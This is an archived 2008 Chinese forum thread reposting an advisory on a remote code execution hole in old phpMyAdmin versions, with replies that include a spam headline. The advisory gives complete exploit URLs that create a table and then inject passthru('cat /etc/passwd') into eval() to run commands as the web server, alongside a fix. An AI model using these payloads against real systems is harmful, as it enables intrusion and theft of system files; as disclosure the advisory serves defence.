315技术社区's Archiver

咨询客服QQ:604164

敗類 发表于 2008-5-23 09:54

MyPhpAdmin 执行攻击者代码漏洞

涉及程序:
myPhpAdmin

描述:
myPhpAdmin 执行攻击者任意代码漏洞利用分析

详细:   
myPhpAdmin 是一个能够通过网络对 MySQL 数据库进行控制的软件。但是发现它存在漏洞,在脚本 ’tbl_copy.php’ 和 ’tbl_rename.php’ 中,存在未经检查的变量。攻击者构造一个 URL 传给这些脚本,能够将 PHP 指令插入 eval() 函数中,从而能以 WEB 服务器身份执行任意代码。   

在 ’tbl_copy.php’ 和 ’tbl_rename.php’ 中:   

tbl_copy.php: eval("\$message = \"$strCopyTableOK\";");   
tbl_rename.php: eval("\$message = \"$strRenameTableOK\";");   

如果能够改变 $strCopyTableOK 或 $strRenameTableOK 的内容便可能执行任意 eval() 代码。   

但是这样提交 URL:   

http://victim/phpmyadmin/tbl_copy.php?strCopyTableOK=".passthru(’cat%20/etc/passwd’)."   

却得不到预想的结果。   

这是因为在到达 eval() 之前,代码便停止运行了:   

if (isset($new_name) && $new_name!=""){   
     .   
  $result = mysql_query($sql_structure) or mysql_die();   
     .   
  $result = mysql_query($query) or mysql_die();   
     .   
  $result = mysql_query($sql_structure) or mysql_die();   
}   
else mysql_die($strTableEmpty);   

如果 mysql_query() 调用失败,mysql_die() 将会被调用。   

为了使调用成功,需要一个能创建表的数据库。通过使用 ’tbl_create.php’ 能做到:   

http://victim/phpmyadmin/tbl_create.php?db=test&table=haxor&query=dummy integer primary key auto_increment&submit=1   

现在可以利用 ’tbl_copy.php’ 脚本了:   

http://victim/phpmyadmin/tbl_copy.php?db=test&table=haxor&new_name=test.haxor2&strCopyTableOK=".passthru(’cat%20/etc/passwd’)."   

成功了!   

受影响版本:   
phpMyAdmin versions <= 2.2.0rc3    
     
解决方案:   
在 ’tbl_copy.php’ 和 ’tbl_rename.php’ 中注释掉有问题的 eval() 代码行

heiketian10 发表于 2008-5-23 09:56

呵呵,自身就有漏洞
看来真的没有真正的完美
只有近似的完美啊

dzhrs36 发表于 2008-7-15 00:21

网络招聘代孕妈妈联络员称已招10名代孕者

*** 作者被禁止或删除 内容自动屏蔽 ***

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.